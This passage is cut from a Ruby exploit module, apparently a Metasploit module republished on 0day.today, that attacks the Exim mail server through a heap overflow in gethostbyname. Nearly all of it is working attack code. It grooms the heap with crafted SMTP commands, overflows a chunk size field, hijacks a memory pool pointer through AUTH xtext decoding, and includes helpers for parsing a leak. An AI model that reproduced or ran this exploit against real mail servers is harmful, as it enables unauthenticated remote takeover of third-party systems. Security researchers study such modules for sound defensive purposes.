smtp_recv(501, 'sender address must contain a domain')\r\n \r\n smtp_send(\"RSET\")\r\n smtp_recv(250)\r\n \r\n # bulletproof Heap Feng Shui; the hard part is avoiding:\r\n # \"Too many syntax or protocol errors\" (3)\r\n # \"Too many unrecognized commands\" (3)\r\n # \"Too many nonmail commands\" (10)\r\n \r\n # / 5, because \"\\x7F\" is non-print, and:\r\n # ss = store_get(length + nonprintcount * 4 + 1);\r\n smtp_send(\"BAD1 \", \"\", \"\\x7F\", \"\", \"\", (19*1024 + heap_shift) / 5)\r\n smtp_recv(500, '\\A500 unrecognized command\\r\\n\\z')\r\n \r\n smtp_send(\"HELO \", \"\", \"0\", @sender[:hostaddr8], \"\", 5*1024+13-1)\r\n smtp_recv(250)\r\n \r\n smtp_send(\"HELO \", \"\", \"0\", @sender[:hostaddr8], \"\", 3*1024+13-1)\r\n smtp_recv(250)\r\n \r\n smtp_send(\"BAD2 \", \"\", \"\\x7F\", \"\", \"\", (13*1024 + 128) / 5)\r\n smtp_recv(500, '\\A500 unrecognized command\\r\\n\\z')\r\n \r\n smtp_send(\"HELO \", \"\", \"0\", @sender[:hostaddr8], \"\", 3*1024+16+13-1)\r\n smtp_recv(250)\r\n \r\n # overflow (3 bytes) gethostbyname's buffer, and\r\n # overwrite its next_chunk's size field with 0x003?31\r\n # ^ last_digit\r\n smtp_send(\"EHLO \", \"\", \"0\", \".1#{last_digit}\", \"\", 5*1024+64+3-1)\r\n smtp_recv(HELO_CODES) # ^ 0x30 | PREV_INUSE\r\n \r\n # auth_xtextdecode() is the only way to overwrite the beginning of a\r\n # current_block of memory (the \"storeblock\" structure) with arbitrary data\r\n # (so that our hijacked \"next\" pointer can contain NUL, CR, LF characters).\r\n # this shapes the rest of our exploit: we overwrite the beginning of the\r\n # current_block of POOL_PERM memory with the current_block of POOL_MAIN\r\n # memory (allocated by auth_xtextdecode()).\r\n \r\n auth_prefix = rand_text_alpha(x86 ? 11264 : 11280)\r\n (x86 ? 4 : 8).times { |i| auth_prefix += sprintf(\"+%02x\", (where >> (i*8)) & 255) }\r\n auth_prefix += \".\"\r\n \r\n # also fill log_buffer with alpha chars\r\n smtp_send(\"MAIL FROM:<> AUTH=\", auth_prefix, method(:rand_text_alpha), \"+\", \"\", 0x3030)\r\n smtp_recv(501, 'invalid data for AUTH')\r\n \r\n smtp_send(\"HELO \", \"[1:2:3:4:5:6:7:8%eth0:\", \" \", \"#{what}]\", \"\", len)\r\n begin\r\n reply = smtp_recv(ANY_CODE)\r\n return reply if reply[:code] !~ /#{HELO_CODES}/\r\n return reply if reply[:code] != \"250\" and reply[:lines].first !~ /argument does not match calling host/\r\n \r\n smtp_send(\"MAIL FROM:<>\")\r\n reply = smtp_recv(ANY_CODE)\r\n return reply if reply[:code] != \"250\"\r\n \r\n smtp_send(\"RCPT TO:<postmaster>\")\r\n reply = smtp_recv\r\n return reply\r\n \r\n rescue\r\n return nil\r\n end\r\n \r\n ensure\r\n smtp_disconnect\r\n end\r\n \r\n DIGITS = '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])'\r\n DOT = '[.]'\r\n \r\n def smtp_connect(exploiting = true)\r\n fail_with(\"smtp_connect\", \"sock isn't nil\") if sock\r\n \r\n connect\r\n fail_with(\"smtp_connect\", \"sock is nil\") if not sock\r\n @smtp_state = :recv\r\n \r\n banner = smtp_recv(220)\r\n return if not exploiting\r\n \r\n sender_host_address = datastore['SENDER_HOST_ADDRESS']\r\n if sender_host_address !~ /\\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\\z/\r\n fail_with(\"smtp_connect\", \"bad SENDER_HOST_ADDRESS (nil)\") if sender_host_address.nil?\r\n fail_with(\"smtp_connect\", \"bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)\")\r\n end\r\n sender_host_address_octal = \"0\" + $1.to_i.to_s(8) + \".#{$2}.#{$3}.#{$4}\"\r\n \r\n # turn helo_seen on (enable the MAIL command)\r\n # call smtp_verify_helo() (force fopen() and small malloc()s)\r\n # call host_find_byname() (force gethostbyname's initial 1024-byte malloc())\r\n smtp_send(\"HELO #{sender_host_address_octal}\")\r\n reply = smtp_recv(HELO_CODES)\r\n \r\n if reply[:code] != \"250\"\r\n fail_with(\"smtp_connect\", \"not Exim?\") if reply[:lines].first !~ /argument does not match calling host/\r\n fail_with(\"smtp_connect\", \"bad SENDER_HOST_ADDRESS (helo_verify_hosts)\")\r\n end\r\n \r\n if reply[:lines].first =~ /\\A250 (\\S*) Hello (.*) \\[(\\S*)\\]\\r\\n\\z/mn\r\n fail_with(\"smtp_connect\", \"bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)\") if sender_host_address != $3\r\n smtp_active_hostname = $1\r\n sender_host_name = $2\r\n \r\n if sender_host_name =~ /\\A(.*) at (\\S*)\\z/mn\r\n sender_host_name = $2\r\n sender_ident = $1\r\n else\r\n sender_ident = nil\r\n end\r\n fail_with(\"smtp_connect\", \"bad SENDER_HOST_ADDRESS (no FCrDNS)\") if sender_host_name == sender_host_address_octal\r\n \r\n else\r\n # can't double-check sender_host_address here, so only for advanced users\r\n fail_with(\"smtp_connect\", \"user-supplied EHLO greeting\") unless datastore['I_KNOW_WHAT_I_AM_DOING']\r\n # worst-case scenario\r\n smtp_active_hostname = \"A\" * NS_MAXDNAME\r\n sender_host_name = \"A\" * NS_MAXDNAME\r\n sender_ident = \"A\" * 127 * 4 # sender_ident = string_printing(string_copyn(p, 127));\r\n end\r\n \r\n _sender = @sender\r\n @sender = {\r\n hostaddr: sender_host_address,\r\n hostaddr8: sender_host_address_octal,\r\n hostname: sender_host_name,\r\n ident: sender_ident,\r\n __smtp_active_hostname: smtp_active_hostname\r\n }\r\n fail_with(\"smtp_connect\", \"sender changed\") if _sender and _sender != @sender\r\n \r\n # avoid a future pathological case by forcing it now:\r\n # \"Do NOT free the first successor, if our current block has less than 256 bytes left.\"\r\n smtp_send(\"MAIL FROM:\", \"<\", method(:rand_text_alpha), \">\", \"\", STOREPOOL_MIN_SIZE + 16)\r\n smtp_recv(501, 'sender address must contain a domain')\r\n \r\n smtp_send(\"RSET\")\r\n smtp_recv(250, 'Reset OK')\r\n end\r\n \r\n def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil)\r\n fail_with(\"smtp_send\", \"state is #{@smtp_state}\") if @smtp_state != :send\r\n @smtp_state = :sending\r\n \r\n if not arg_pattern\r\n fail_with(\"smtp_send\", \"prefix is nil\") if not prefix\r\n fail_with(\"smtp_send\", \"param isn't nil\") if arg_prefix or arg_suffix or suffix or arg_length\r\n command = prefix\r\n \r\n else\r\n fail_with(\"smtp_send\", \"param is nil\") unless prefix and arg_prefix and arg_suffix and suffix and arg_length\r\n length = arg_length - arg_prefix.length - arg_suffix.length\r\n fail_with(\"smtp_send\", \"len is #{length}\") if length <= 0\r\n argument = arg_prefix\r\n case arg_pattern\r\n when String\r\n argument += arg_pattern * (length / arg_pattern.length)\r\n argument += arg_pattern[0, length % arg_pattern.length]\r\n when Method\r\n argument += arg_pattern.call(length)\r\n end\r\n argument += arg_suffix\r\n fail_with(\"smtp_send\", \"arglen is #{argument.length}, not #{arg_length}\") if argument.length != arg_length\r\n command = prefix + argument + suffix\r\n end\r\n \r\n fail_with(\"smtp_send\", \"invalid char in cmd\") if command.count(\"^\\x20-\\x7F\") > 0\r\n fail_with(\"smtp_send\", \"cmdlen is #{command.length}\") if command.length > SMTP_CMD_BUFFER_SIZE\r\n command += \"\\n\" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer\r\n \r\n # the following loop works around a bug in the put() method:\r\n # \"while (send_idx < send_len)\" should be \"while (send_idx < buf.length)\"\r\n # (or send_idx and/or send_len could be removed altogether, like here)\r\n \r\n while command and not command.empty?\r\n num_sent = sock.put(command)\r\n fail_with(\"smtp_send\", \"sent is #{num_sent}\") if num_sent <= 0\r\n fail_with(\"smtp_send\", \"sent is #{num_sent}, greater than #{command.length}\") if num_sent > command.length\r\n command = command[num_sent..-1]\r\n end\r\n \r\n @smtp_state = :recv\r\n end\r\n \r\n def smtp_recv(expected_code = nil, expected_data = nil)\r\n fail_with(\"smtp_recv\", \"state is #{@smtp_state}\") if @smtp_state != :recv\r\n @smtp_state = :recving\r\n \r\n failure = catch(:failure) do\r\n \r\n # parse SMTP replies very carefully (the information\r\n # leak injects arbitrary data into multiline replies)\r\n \r\n data = \"\"\r\n while data !~ /(\\A|\\r\\n)[0-9]{3}[ ].*\\r\\n\\z/mn\r\n begin\r\n more_data = sock.get_once\r\n rescue\r\n throw(:failure, \"Caught #{$!.class}: #{$!.message}\")\r\n end\r\n throw(:failure, \"no more data\") if more_data.nil?\r\n throw(:failure, \"no more data\") if more_data.empty?\r\n data += more_data\r\n end\r\n \r\n throw(:failure, \"malformed reply (count)\") if data.count(\"\\0\") > 0\r\n lines = data.scan(/(?:\\A|\\r\\n)[0-9]{3}[ -].*?(?=\\r\\n(?=[0-9]{3}[ -]|\\z))/mn)\r\n throw(:failure, \"malformed reply (empty)\") if lines.empty?\r\n \r\n code = nil\r\n lines.size.times do |i|\r\n lines[i].sub!(/\\A\\r\\n/mn, \"\")\r\n lines[i] += \"\\r\\n\"\r\n \r\n if i == 0\r\n code = lines[i][0,3]\r\n throw(:failure, \"bad code\") if code !~ /\\A[0-9]{3}\\z/mn\r\n if expected_code and code !~ /\\A(#{expected_code})\\z/mn\r\n throw(:failure, \"unexpected #{code}, expected #{expected_code}\")\r\n end\r\n end\r\n \r\n line_begins_with = lines[i][0,4]\r\n line_should_begin_with = code + (i == lines.size-1 ? \" \" : \"-\")\r\n \r\n if line_begins_with != line_should_begin_with\r\n throw(:failure, \"line begins with #{line_begins_with}, \" \\\r\n \"should begin with #{line_should_begin_with}\")\r\n end\r\n end\r\n \r\n throw(:failure, \"malformed reply (join)\") if lines.join(\"\") != data\r\n if expected_data and data !~ /#{expected_data}/mn\r\n throw(:failure, \"unexpected data\")\r\n end\r\n \r\n reply = { code: code, lines: lines }\r\n @smtp_state = :send\r\n return reply\r\n end\r\n \r\n fail_with(\"smtp_recv\", \"#{failure}\") if expected_code\r\n return nil\r\n end\r\n \r\n def smtp_disconnect\r\n disconnect if sock\r\n fail_with(\"smtp_disconnect\", \"sock isn't nil\") if sock\r\n @smtp_state = :disconnected\r\n end\r\nend\n\n# 0day.today [2018-01-10] #", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://0day.today/exploit/23392"}]}}